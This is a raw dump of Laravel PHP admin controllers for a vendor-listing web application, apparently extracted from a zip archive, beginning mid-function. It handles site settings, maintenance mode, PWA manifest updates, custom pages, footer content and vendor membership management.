=> $request->whatsapp_header_title, 'whatsapp_popup_status' => $request->whatsapp_popup_status, 'whatsapp_popup_message' => $request->whatsapp_popup_message ] ); Session::flash('success', 'WhatsApp info updated successfully!'); return redirect()->back(); } public function maintenance() { $data = DB::table('basic_settings') ->select('maintenance_img', 'maintenance_status', 'maintenance_msg', 'bypass_token') ->first(); return view('admin.basic-settings.maintenance', ['data' => $data]); } public function updateMaintenance(Request $request) { $data = DB::table('basic_settings')->select('maintenance_img')->first(); $rules = $messages = []; if (!$request->filled('maintenance_img') && is_null($data->maintenance_img)) { $rules['maintenance_img'] = 'required'; $messages['maintenance_img.required'] = 'The maintenance image field is required.'; } if ($request->hasFile('maintenance_img')) { $rules['maintenance_img'] = new ImageMimeTypeRule(); } $rules['maintenance_status'] = 'required'; $rules['maintenance_msg'] = 'required'; $messages['maintenance_msg.required'] = 'The maintenance message field is required.'; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('maintenance_img')) { $imageName = UploadFile::update(public_path('assets/img/'), $request->file('maintenance_img'), $data->maintenance_img); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'maintenance_img' => $request->hasFile('maintenance_img') ? $imageName : $data->maintenance_img, 'maintenance_status' => $request->maintenance_status, 'maintenance_msg' => Purifier::clean($request->maintenance_msg), 'bypass_token' => $request->bypass_token ] ); $down = "down"; if ($request->filled('bypass_token')) { $down .= " --secret=" . $request->bypass_token; } if ($request->maintenance_status == 1) { Artisan::call('up'); Artisan::call($down); Artisan::call('view:clear'); Artisan::call('cache:clear'); Artisan::call('config:clear'); } else { Artisan::call('up'); } Session::flash('success', 'Maintenance Info updated successfully!'); return redirect()->back(); } public function settings() { $info = DB::table('basic_settings')->select('shop_status')->first(); return view('admin.shop.settings', ['info' => $info]); } public function updateSettings(Request $request) { $rules = [ 'shop_status' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } // store the tax amount info into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['shop_status' => $request->shop_status] ); Session::flash('success', 'Updated shop settings successfully!'); return redirect()->back(); } public function adminApprove() { $info = DB::table('basic_settings')->select('admin_approve_status')->first(); return view('admin.basic-settings.admin-approve', ['info' => $info]); } public function updateAdminApprove(Request $request) { $rules = [ 'admin_approve_status' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } // store the tax amount info into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['admin_approve_status' => $request->admin_approve_status] ); Session::flash('success', 'Updated shop settings successfully!'); return redirect()->back(); } public function productTaxAmount() { $data = DB::table('basic_settings')->select('product_tax_amount')->first(); return view('admin.shop.tax', ['data' => $data]); } public function updateProductTaxAmount(Request $request) { $rules = [ 'product_tax_amount' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } // store the tax amount info into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['product_tax_amount' => $request->product_tax_amount] ); Session::flash('success', 'Tax amount updated successfully!'); return redirect()->back(); } public function methodSettings() { $data = DB::table('basic_settings')->select('self_pickup_status', 'two_way_delivery_status')->first(); return view('admin.instrument.shipping-methods', ['data' => $data]); } public function updateMethodSettings(Request $request) { $rules = [ 'self_pickup_status' => 'required|numeric', 'two_way_delivery_status' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'self_pickup_status' => $request->self_pickup_status, 'two_way_delivery_status' => $request->two_way_delivery_status ] ); Session::flash('success', 'Settings updated successfully!'); return redirect()->back(); } public function checkoutStatus() { $data = DB::table('basic_settings')->select('guest_checkout_status')->first(); return view('admin.instrument.guest-checkout', ['data' => $data]); } public function updateCheckoutStatus(Request $request) { $rules = ['guest_checkout_status' => 'required|numeric']; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['guest_checkout_status' => $request->guest_checkout_status] ); Session::flash('success', 'Status updated successfully!'); return redirect()->back(); } public function pwa(Request $request) { $pwa = file_get_contents(public_path('manifest.json')); $pwa = json_decode($pwa, true); $data['pwa'] = $pwa; return view('admin.basic-settings.pwa', $data); } public function updatePwa(Request $request) { $allowedExts = array('jpg', 'png', 'jpeg'); $icon128 = $request->file('icon_128'); $icon256 = $request->file('icon_256'); $icon512 = $request->file('icon_512'); $rules = [ 'short_name' => 'required', 'name' => 'required', 'theme_color' => 'required', 'background_color' => 'required', 'icon_128' => [ function ($attribute, $value, $fail) use ($icon128, $allowedExts) { if (!empty($icon128)) { $ext = $icon128->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg image is allowed"); } } }, 'dimensions:width=128,height=128' ], 'icon_256' => [ function ($attribute, $value, $fail) use ($icon256, $allowedExts) { if (!empty($icon256)) { $ext = $icon256->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg image is allowed"); } } }, 'dimensions:width=256,height=256' ], 'icon_512' => [ function ($attribute, $value, $fail) use ($icon512, $allowedExts) { if (!empty($icon512)) { $ext = $icon512->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg image is allowed"); } } }, 'dimensions:width=512,height=512' ] ]; $request->validate($rules); $content = $request->except('_token', 'icon_128', 'icon_256', 'icon_512', 'pwa_offline_img', 'start_url'); $content['start_url'] = './'; $content['display'] = 'standalone'; $content['theme_color'] = '#' . $request->theme_color; $content['background_color'] = '#' . $request->background_color; $preManifest = file_get_contents(public_path('manifest.json')); $preManifest = json_decode($preManifest, true); if ($request->hasFile('icon_128')) { $ext = $icon128->getClientOriginalExtension(); $filename = uniqid() . '.' . $ext; $icon128->move(public_path('assets/images/'), $filename); @unlink(public_path($preManifest['icons'][0]['src'])); $content['icons'][0] = [ "src" => 'assets/images/' . $filename, "type" => "image/" . $ext, "sizes" => "128X128", ]; } else { $content['icons'][0] = [ "src" => $preManifest['icons'][0]['src'], "type" => $preManifest['icons'][0]['type'], "sizes" => $preManifest['icons'][0]['sizes'], ]; } if ($request->hasFile('icon_256')) { $ext = $icon256->getClientOriginalExtension(); $filename = uniqid() . '.' . $ext; $icon256->move(public_path('assets/images/'), $filename); @unlink(public_path($preManifest['icons'][1]['src'])); $content['icons'][1] = [ "src" => 'assets/images/' . $filename, "type" => "image/" . $ext, "sizes" => "256X256", ]; } else { $content['icons'][1] = [ "src" => $preManifest['icons'][1]['src'], "type" => $preManifest['icons'][1]['type'], "sizes" => $preManifest['icons'][1]['sizes'] ]; } if ($request->hasFile('icon_512')) { $ext = $icon512->getClientOriginalExtension(); $filename = uniqid() . '.' . $ext; $icon512->move(public_path('assets/images/'), $filename); @unlink(public_path($preManifest['icons'][2]['src'])); $content['icons'][2] = [ "src" => 'assets/images/' . $filename, "type" => "image/" . $ext, "sizes" => "512X512", ]; $content['icons'][3] = [ "src" => 'assets/images/' . $filename, "type" => "image/" . $ext, "sizes" => "512X512", "purpose" => "maskable" ]; } else { $content['icons'][2] = [ "src" => $preManifest['icons'][2]['src'], "type" => $preManifest['icons'][2]['type'], "sizes" => $preManifest['icons'][2]['sizes'] ]; $content['icons'][3] = [ "src" => $preManifest['icons'][3]['src'], "type" => $preManifest['icons'][3]['type'], "sizes" => $preManifest['icons'][3]['sizes'], "purpose" => $preManifest['icons'][3]['purpose'] ]; } $content = json_encode($content); file_put_contents(public_path('manifest.json'), $content); return back()->with('success', 'Updated Successfully'); } //general_settings public function general_settings() { $data = []; $data['data'] = DB::table('basic_settings')->first(); $data['timezones'] = Timezone::get(); return view('admin.basic-settings.general-settings', $data); } //update general settings public function update_general_setting(Request $request) { $data = DB::table('basic_settings')->first(); $rules = []; $rules = [ 'website_title' => 'required', 'preloader_status' => 'required', 'base_currency_symbol' => 'required', 'base_currency_symbol_position' => 'required', 'base_currency_text' => 'required', 'base_currency_text_position' => 'required', 'base_currency_rate' => 'required|numeric', 'primary_color' => 'required', ]; if (!$request->filled('logo') && is_null($data->logo)) { $rules['logo'] = 'required'; } if ($request->hasFile('logo')) { $rules['logo'] = new ImageMimeTypeRule(); } if ($request->hasFile('favicon')) { $rules['favicon'] = new ImageMimeTypeRule(); } if ($request->hasFile('preloader')) { $rules['preloader'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('logo')) { $logoName = UploadFile::update(public_path('assets/img/'), $request->file('logo'), $data->logo); } else { $logoName = $data->logo; } if ($request->hasFile('favicon')) { $iconName = UploadFile::update(public_path('assets/img/'), $request->file('favicon'), $data->favicon); } else { $iconName = $data->favicon; } if ($request->hasFile('preloader')) { $preloaderName = UploadFile::update(public_path('assets/img/'), $request->file('preloader'), $data->preloader); } else { $preloaderName = $data->preloader; } //update or insert data to basic settigs table DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'website_title' => $request->website_title, 'logo' => $logoName, 'favicon' => $iconName, 'preloader' => $preloaderName, 'preloader_status' => $request->preloader_status, 'primary_color' => $request->primary_color, 'base_currency_symbol' => $request->base_currency_symbol, 'base_currency_symbol_position' => $request->base_currency_symbol_position, 'base_currency_text' => $request->base_currency_text, 'base_currency_text_position' => $request->base_currency_text_position, 'base_currency_rate' => $request->base_currency_rate, 'timezone' => $request->timezone ] ); $array = [ 'APP_TIMEZONE' => $request->timezone, 'APP_NAME' => str_replace(' ', '_', $request->website_title), ]; setEnvironmentValue($array); Session::flash('success', 'General settings update Successfully.!'); return redirect()->back(); } } PK(\~7V/Http/Controllers/Admin/CustomPageController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the custom pages of that language from db $information['pages'] = Page::query()->join('page_contents', 'pages.id', '=', 'page_contents.page_id') ->where('page_contents.language_id', '=', $language->id) ->orderByDesc('pages.id') ->get(); // also, get all the languages from db $information['langs'] = Language::all(); return view('admin.custom-page.index', $information); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // get all the languages from db $information['languages'] = Language::all(); return view('admin.custom-page.create', $information); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(StoreRequest $request) { $page = new Page(); $page->status = $request->status; $page->save(); $languages = Language::all(); foreach ($languages as $language) { $pageContent = new PageContent(); $pageContent->language_id = $language->id; $pageContent->page_id = $page->id; $pageContent->title = $request[$language->code . '_title']; $pageContent->slug = createSlug($request[$language->code . '_title']); $pageContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $pageContent->meta_keywords = $request[$language->code . '_meta_keywords']; $pageContent->meta_description = $request[$language->code . '_meta_description']; $pageContent->save(); } Session::flash('success', 'New page added successfully!'); return response()->json(['status' => 'success'], 200); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $information['page'] = Page::query()->findOrFail($id); // get all the languages from db $information['languages'] = Language::all(); return view('admin.custom-page.edit', $information); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateRequest $request, $id) { $page = Page::query()->findOrFail($id); $page->update([ 'status' => $request->status ]); $languages = Language::all(); foreach ($languages as $language) { $pageContent = PageContent::query()->where('page_id', '=', $id) ->where('language_id', '=', $language->id) ->first(); $pageContent->update([ 'title' => $request[$language->code . '_title'], 'slug' => createSlug($request[$language->code . '_title']), 'content' => Purifier::clean($request[$language->code . '_content'], 'youtube'), 'meta_keywords' => $request[$language->code . '_meta_keywords'], 'meta_description' => $request[$language->code . '_meta_description'] ]); } Session::flash('success', 'Page updated successfully!'); return response()->json(['status' => 'success'], 200); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $page = Page::query()->findOrFail($id); $pageContents = $page->content()->get(); foreach ($pageContents as $pageContent) { $pageContent->delete(); } $page->delete(); return redirect()->back()->with('success', 'Page deleted successfully!'); } /** * Remove the selected or all resources from storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $page = Page::query()->findOrFail($id); $pageContents = $page->content()->get(); foreach ($pageContents as $pageContent) { $pageContent->delete(); } $page->delete(); } Session::flash('success', 'Pages deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\&q35 5 5Http/Controllers/Admin/Footer/QuickLinkController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the quick-links of that language from db $information['quickLinks'] = $language->footerQuickLink()->orderByDesc('id')->get(); // also, get all the languages from db $information['langs'] = Language::all(); return view('admin.footer.quick-link.index', $information); } public function store(Request $request) { $rules = [ 'language_id' => 'required', 'title' => 'required', 'url' => 'required', 'serial_number' => 'required|numeric' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } QuickLink::query()->create($request->all()); Session::flash('success', 'New quick link added successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'title' => 'required', 'url' => 'required', 'serial_number' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $quickLink = QuickLink::query()->findOrFail($request->id); $quickLink->update($request->all()); Session::flash('success', 'Quick link updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $quickLink = QuickLink::query()->findOrFail($id); $quickLink->delete(); return redirect()->back()->with('success', 'Quick link deleted successfully!'); } } PK(\|6h1Http/Controllers/Admin/Footer/ImageController.phpnu[select('footer_logo', 'footer_background_image')->first(); return view('admin.footer.logo-&-image', ['data' => $data]); } public function updateLogo(Request $request) { $data = DB::table('basic_settings')->select('footer_logo')->first(); $rules = []; if (!$request->filled('footer_logo') && is_null($data->footer_logo)) { $rules['footer_logo'] = 'required'; } if ($request->hasFile('footer_logo')) { $rules['footer_logo'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('footer_logo')) { $newLogo = $request->file('footer_logo'); $oldLogo = $data->footer_logo; $logoName = UploadFile::update(public_path('assets/img/'), $newLogo, $oldLogo); // finally, store the footer-logo into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['footer_logo' => $logoName] ); } Session::flash('success', 'Footer logo updated successfully!'); return redirect()->back(); } } PK(\=]/\\3Http/Controllers/Admin/Footer/ContentController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the footer content info of that language from db $information['data'] = $language->footerContent()->first(); // also, get all the languages from db $information['langs'] = Language::all(); return view('admin.footer.content', $information); } public function update(Request $request) { $rules = [ 'about_company' => 'required', 'copyright_text' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } // first, get the language info from db $language = Language::query()->where('code', '=', $request->language)->first(); FooterContent::query()->updateOrCreate( ['language_id' => $language->id], [ 'about_company' => $request['about_company'], 'copyright_text' => Purifier::clean($request['copyright_text'], 'youtube') ] ); Session::flash('success', 'Information updated successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\q) 5Http/Controllers/Admin/VendorManagementController.phpnu[where('uniqid', 12345)->select('vendor_email_verification', 'vendor_admin_approval', 'admin_approval_notice')->first(); return view('admin.end-user.vendor.settings', compact('setting')); } //update_setting public function update_setting(Request $request) { if ($request->vendor_email_verification) { $vendor_email_verification = 1; } else { $vendor_email_verification = 0; } if ($request->vendor_admin_approval) { $vendor_admin_approval = 1; } else { $vendor_admin_approval = 0; } // finally, store the favicon into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'vendor_email_verification' => $vendor_email_verification, 'vendor_admin_approval' => $vendor_admin_approval, 'admin_approval_notice' => $request->admin_approval_notice, ] ); Session::flash('success', 'Update Settings Successfully!'); return back(); } public function index(Request $request) { $searchKey = null; if ($request->filled('info')) { $searchKey = $request['info']; } $vendors = Vendor::when($searchKey, function ($query, $searchKey) { return $query->where('username', 'like', '%' . $searchKey . '%') ->orWhere('email', 'like', '%' . $searchKey . '%'); }) ->where('id', '!=', 0) ->orderBy('id', 'desc') ->paginate(10); return view('admin.end-user.vendor.index', compact('vendors')); } //add public function add(Request $request) { // first, get the language info from db $language = Language::query()->where('code', '=', $request->language)->first(); $information['language'] = $language; $information['languages'] = Language::get(); return view('admin.end-user.vendor.create', $information); } public function create(Request $request) { $admin = Admin::select('username')->first(); $admin_username = $admin->username; $rules = [ 'username' => "required|unique:vendors|not_in:$admin_username", 'email' => 'required|email|unique:vendors', 'password' => 'required|min:6', ]; $languages = Language::get(); foreach ($languages as $language) { $rules[$language->code . '_name'] = 'required'; } $messages = []; foreach ($languages as $language) { $messages[$language->code . '_name.required'] = "The Name field is required for {$language->name} Language"; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $in = $request->all(); $in['password'] = Hash::make($request->password); $in['status'] = 1; $file = $request->file('photo'); if ($file) { $extension = $file->getClientOriginalExtension(); $directory = public_path('assets/admin/img/vendor-photo/'); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); $in['photo'] = $fileName; } $in['email_verified_at'] = Carbon::now(); $vendor = Vendor::create($in); $vendor_id = $vendor->id; foreach ($languages as $language) { $vendorInfo = new VendorInfo(); $vendorInfo->language_id = $language->id; $vendorInfo->vendor_id = $vendor_id; $vendorInfo->name = $request[$language->code . '_name']; $vendorInfo->country = $request[$language->code . '_country']; $vendorInfo->city = $request[$language->code . '_city']; $vendorInfo->state = $request[$language->code . '_state']; $vendorInfo->zip_code = $request[$language->code . '_zip_code']; $vendorInfo->address = $request[$language->code . '_address']; $vendorInfo->details = $request[$language->code . '_details']; $vendorInfo->save(); } Session::flash('success', 'Add Vendor Successfully!'); return Response::json(['status' => 'success'], 200); } public function show($id) { $information['langs'] = Language::all(); $information['currencyInfo'] = $this->getCurrencyInfo(); $charges = FeaturedListingCharge::orderBy('days')->get(); $information['charges'] = $charges; $information['onlineGateways'] = OnlineGateway::where('status', 1)->get(); $information['offline_gateways'] = OfflineGateway::where('status', 1)->orderBy('serial_number', 'asc')->get(); $stripe = OnlineGateway::where('keyword', 'stripe')->first(); $stripe_info = json_decode($stripe->information, true); $information['stripe_key'] = $stripe_info['key']; $authorizenet = OnlineGateway::query()->whereKeyword('authorize.net')->first(); $anetInfo = json_decode($authorizenet->information); if ($anetInfo->sandbox_check == 1) { $information['anetSource'] = 'https://jstest.authorize.net/v1/Accept.js'; } else { $information['anetSource'] = 'https://js.authorize.net/v1/Accept.js'; } $currency_info = $this->getCurrencyInfo(); $information['currency_info'] = $currency_info; $language = Language::where('code', request()->input('language'))->firstOrFail(); $information['language'] = $language; $vendor = Vendor::with([ 'vendor_info' => function ($query) use ($language) { return $query->where('language_id', $language->id); } ])->where('id', $id)->firstOrFail(); $information['vendor'] = $vendor; $information['langs'] = Language::all(); $information['packages'] = Package::query()->where('status', '1')->get(); $online = OnlineGateway::query()->where('status', 1)->get(); $offline = OfflineGateway::where('status', 1)->get(); $information['gateways'] = $online->merge($offline); $information['listings'] = Listing::with([ 'listing_content' => function ($q) use ($language) { $q->where('language_id', $language->id); }, ])->where('vendor_id', $id) ->orderBy('id', 'desc') ->get(); return view('admin.end-user.vendor.details', $information); } public function updateAccountStatus(Request $request, $id) { $user = Vendor::find($id); if ($request->account_status == 1) { $user->update(['status' => 1]); } else { $user->update(['status' => 0]); } Session::flash('success', 'Account status updated successfully!'); return redirect()->back(); } public function updateEmailStatus(Request $request, $id) { $vendor = Vendor::find($id); if ($request->email_status == 1) { $vendor->update(['email_verified_at' => now()]); } else { $vendor->update(['email_verified_at' => NULL]); } Session::flash('success', 'Email status updated successfully!'); return redirect()->back(); } public function changePassword($id) { $userInfo = Vendor::findOrFail($id); return view('admin.end-user.vendor.change-password', compact('userInfo')); } public function updatePassword(Request $request, $id) { $rules = [ 'new_password' => 'required|confirmed', 'new_password_confirmation' => 'required' ]; $messages = [ 'new_password.confirmed' => 'Password confirmation does not match.', 'new_password_confirmation.required' => 'The confirm new password field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $user = Vendor::find($id); $user->update([ 'password' => Hash::make($request->new_password) ]); Session::flash('success', 'Password updated successfully!'); return Response::json(['status' => 'success'], 200); } public function edit($id) { $information['languages'] = Language::get(); $vendor = Vendor::where('id', $id)->firstOrFail(); $information['vendor'] = $vendor; $information['currencyInfo'] = $this->getCurrencyInfo(); return view('admin.end-user.vendor.edit', $information); } //update public function update(Request $request, $id, Vendor $vendor) { $admin = Admin::select('username')->first(); $admin_username = $admin->username; $rules = [ 'username' => [ 'required', Rule::unique('vendors', 'username')->ignore($id), Rule::notIn([$admin_username]), ], 'email' => [ 'required', 'email', Rule::unique('vendors', 'email')->ignore($id) ] ]; if ($request->hasFile('photo')) { $rules['photo'] = 'mimes:png,jpeg,jpg|dimensions:min_width=80,max_width=80,min_width=80,min_height=80'; } $languages = Language::get(); foreach ($languages as $language) { $rules[$language->code . '_name'] = 'required'; } $messages = []; foreach ($languages as $language) { $messages[$language->code . '_name.required'] = "The Name field is required for {$language->name} Language"; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $in = $request->all(); $vendor = Vendor::where('id', $id)->first(); $file = $request->file('photo'); if ($file) { $extension = $file->getClientOriginalExtension(); $directory = public_path('assets/admin/img/vendor-photo/'); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); @unlink(public_path('assets/admin/img/vendor-photo/') . $vendor->photo); $in['photo'] = $fileName; } if ($request->show_email_addresss) { $in['show_email_addresss'] = 1; } else { $in['show_email_addresss'] = 0; } if ($request->show_phone_number) { $in['show_phone_number'] = 1; } else { $in['show_phone_number'] = 0; } if ($request->show_contact_form) { $in['show_contact_form'] = 1; } else { $in['show_contact_form'] = 0; } $vendor->update($in); $languages = Language::get(); $vendor_id = $vendor->id; foreach ($languages as $language) { $vendorInfo = VendorInfo::where('vendor_id', $vendor_id)->where('language_id', $language->id)->first(); if ($vendorInfo == NULL) { $vendorInfo = new VendorInfo(); } $vendorInfo->language_id = $language->id; $vendorInfo->vendor_id = $vendor_id; $vendorInfo->name = $request[$language->code . '_name']; $vendorInfo->country = $request[$language->code . '_country']; $vendorInfo->city = $request[$language->code . '_city']; $vendorInfo->state = $request[$language->code . '_state']; $vendorInfo->zip_code = $request[$language->code . '_zip_code']; $vendorInfo->address = $request[$language->code . '_address']; $vendorInfo->details = $request[$language->code . '_details']; $vendorInfo->save(); } Session::flash('success', 'Vendor updated successfully!'); return Response::json(['status' => 'success'], 200); } public function sendMail($memb, $package, $paymentMethod, $vendor, $bs, $mailType, $replacedPackage = NULL, $removedPackage = NULL) { if ($mailType != 'admin_removed_current_package' && $mailType != 'admin_removed_next_package') { $transaction_id = VendorPermissionHelper::uniqidReal(8); $activation = $memb->start_date; $expire = $memb->expire_date; $info['start_date'] = $activation->toFormattedDateString(); $info['expire_date'] = $expire->toFormattedDateString(); $info['payment_method'] = $paymentMethod; $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $file_name = $this->makeInvoice($info, "membership", $vendor, NULL, $package->price, "Stripe", $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); } $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->username, 'username' => $vendor->username, 'website_title' => $bs->website_title, 'templateType' => $mailType ]; if ($mailType != 'admin_removed_current_package' && $mailType != 'admin_removed_next_package') { $data['package_title'] = $package->title; $data['package_price'] = ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''); $data['activation_date'] = $activation->toFormattedDateString(); $data['expire_date'] = Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(); $data['membership_invoice'] = $file_name; } if ($mailType != 'admin_removed_current_package' || $mailType != 'admin_removed_next_package') { $data['removed_package_title'] = $removedPackage; } if (!empty($replacedPackage)) { $data['replaced_package'] = $replacedPackage; } $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); } public function addCurrPackage(Request $request) { $vendor_id = $request->vendor_id; $vendor = Vendor::where('id', $vendor_id)->first(); $bs = Basic::first(); $selectedPackage = Package::find($request->package_id); // calculate expire date for selected package if ($selectedPackage->term == 'monthly') { $exDate = Carbon::now()->addMonth()->format('d-m-Y'); } elseif ($selectedPackage->term == 'yearly') { $exDate = Carbon::now()->addYear()->format('d-m-Y'); } elseif ($selectedPackage->term == 'lifetime') { $exDate = Carbon::maxValue()->format('d-m-Y'); } // store a new membership for selected package $selectedMemb = Membership::create([ 'price' => $selectedPackage->price, 'currency' => $bs->base_currency_text, 'currency_symbol' => $bs->base_currency_symbol, 'payment_method' => $request->payment_method, 'transaction_id' => uniqid(), 'status' => 1, 'receipt' => NULL, 'transaction_details' => NULL, 'settings' => null, 'package_id' => $selectedPackage->id, 'vendor_id' => $vendor_id, 'start_date' => Carbon::parse(Carbon::now()->format('d-m-Y')), 'expire_date' => Carbon::parse($exDate), 'is_trial' => 0, 'trial_days' => 0, ]); $this->sendMail($selectedMemb, $selectedPackage, $request->payment_method, $vendor, $bs, 'admin_added_current_package'); Session::flash('success', 'Current Package has been added successfully!'); return back(); } public function changeCurrPackage(Request $request) { $vendor_id = $request->vendor_id; $vendor = Vendor::findOrFail($vendor_id); $currMembership = VendorPermissionHelper::currMembOrPending($vendor_id); $nextMembership = VendorPermissionHelper::nextMembership($vendor_id); $bs = Basic::first(); $selectedPackage = Package::find($request->package_id); // if the vendor has a next package to activate & selected package is 'lifetime' package if (!empty($nextMembership) && $selectedPackage->term == 'lifetime') { Session::flash('warning', 'To add a Lifetime package as Current Package, You have to remove the next package'); return back(); } // expire the current package $currMembership->expire_date = Carbon::parse(Carbon::now()->subDay()->format('d-m-Y')); $currMembership->modified = 1; if ($currMembership->status == 0) { $currMembership->status = 2; } $currMembership->save(); // calculate expire date for selected package if ($selectedPackage->term == 'monthly') { $exDate = Carbon::now()->addMonth()->format('d-m-Y'); } elseif ($selectedPackage->term == 'yearly') { $exDate = Carbon::now()->addYear()->format('d-m-Y'); } elseif ($selectedPackage->term == 'lifetime') { $exDate = Carbon::maxValue()->format('d-m-Y'); } // store a new membership for selected package $selectedMemb = Membership::create([ 'price' => $selectedPackage->price, 'currency' => $bs->base_currency_text, 'currency_symbol' => $bs->base_currency_symbol, 'payment_method' => $request->payment_method, 'transaction_id' => uniqid(), 'status' => 1, 'receipt' => NULL, 'transaction_details' => NULL, 'settings' => null, 'package_id' => $selectedPackage->id, 'vendor_id' => $vendor_id, 'start_date' => Carbon::parse(Carbon::now()->format('d-m-Y')), 'expire_date' => Carbon::parse($exDate), 'is_trial' => 0, 'trial_days' => 0, ]); // if the user has a next package to activate & selected package is not 'lifetime' package if (!empty($nextMembership) && $selectedPackage->term != 'lifetime') { $nextPackage = Package::find($nextMembership->package_id); // calculate & store next membership's start_date $nextMembership->start_date = Carbon::parse(Carbon::parse($exDate)->addDay()->format('d-m-Y')); // calculate & store expire date for next membership if ($nextPackage->term == 'monthly') { $exDate = Carbon::parse(Carbon::parse(Carbon::parse($exDate)->addDay()->format('d-m-Y'))->addMonth()->format('d-m-Y')); } elseif ($nextPackage->term == 'yearly') { $exDate = Carbon::parse(Carbon::parse(Carbon::parse($exDate)->addDay()->format('d-m-Y'))->addYear()->format('d-m-Y')); } else { $exDate = Carbon::parse(Carbon::maxValue()->format('d-m-Y')); } $nextMembership->expire_date = $exDate; $nextMembership->save(); } $currentPackage = Package::select('title')->findOrFail($currMembership->package_id); $this->sendMail($selectedMemb, $selectedPackage, $request->payment_method, $vendor, $bs, 'admin_changed_current_package', $currentPackage->title); Session::flash('success', 'Current Package changed successfully!'); return back(); } public function removeCurrPackage(Request $request) { $vendor_id = $request->vendor_id; $vendor = Vendor::where('id', $vendor_id)->firstOrFail(); $currMembership = VendorPermissionHelper::currMembOrPending($vendor_id); $currPackage = Package::select('title')->findOrFail($currMembership->package_id); $nextMembership = VendorPermissionHelper::nextMembership($vendor_id); $bs = Basic::first(); $today = Carbon::now(); // just expire the current package $currMembership->expire_date = $today->subDay(); $currMembership->modified = 1; if ($currMembership->status == 0) { $currMembership->status = 2; } $currMembership->save(); // if next package exists if (!empty($nextMembership)) { $nextPackage = Package::find($nextMembership->package_id); $nextMembership->start_date = Carbon::parse(Carbon::today()->format('d-m-Y')); if ($nextPackage->term == 'monthly') { $nextMembership->expire_date = Carbon::parse(Carbon::today()->addMonth()->format('d-m-Y')); } elseif ($nextPackage->term == 'yearly') { $nextMembership->expire_date = Carbon::parse(Carbon::today()->addYear()->format('d-m-Y')); } elseif ($nextPackage->term == 'lifetime') { 